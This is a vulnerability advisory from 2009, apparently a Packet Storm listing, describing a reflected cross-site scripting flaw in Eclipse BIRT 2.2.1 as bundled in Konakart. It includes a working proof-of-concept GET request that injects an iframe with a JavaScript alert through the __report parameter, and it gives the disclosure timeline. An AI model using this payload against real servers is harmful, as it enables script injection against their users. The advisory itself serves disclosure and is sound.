Eclipse BIRT 2.2.1 Cross Site Scripting

2009-10-15T00:00:00
ID PACKETSTORM:82030
Type packetstorm
Reporter euronymous
Modified 2009-10-15T00:00:00

Description

                                        
                                            `Eclipse BIRT <= 2.2.1 Reflected XSS  
  
Vendor: Eclipse  
Advisory: http://antisnatchor.com/2008/12/18/eclipse-birt-reflected-xss/  
Author: Michele "euronymous" Orrù (euronymous AT antisnatchor DOT com)  
  
Quite a common problem in a lot of Java based applications: reflected  
XSS in Java stack trace.  
  
A Reflected XSS is present in the _report parameter: here below the modified  
request (that is the BIRT 2.2.1 version included in Konakart 2.2.6)  
  
GET  
/birt-viewer/run?__report='"><iframe%20src=javascript:alert(666)>&r=-703171660  
HTTP/1.1  
Host: localhost:8780  
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18)  
Gecko/20081029 Firefox/2.0.0.18  
Accept:  
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip,deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Keep-Alive: 300  
Proxy-Connection: keep-alive  
Referer: http://localhost:8780/konakartadmin/  
  
  
Konakart is actually using org.eclipse.birt.core_2.2.1.r22x_v20070924, that is  
actually old.  
  
- Disclosure timeline:  
2008-12-17 11:04:15 EST : Vendor Contacted  
2009-02-11 03:39:09 EST: Bug fix  
2009-03-09 05:32:42 EDT: Patches verified on 2.5.0  
  
- CREDITS  
  
Michele "euronymous" Orru'  
  
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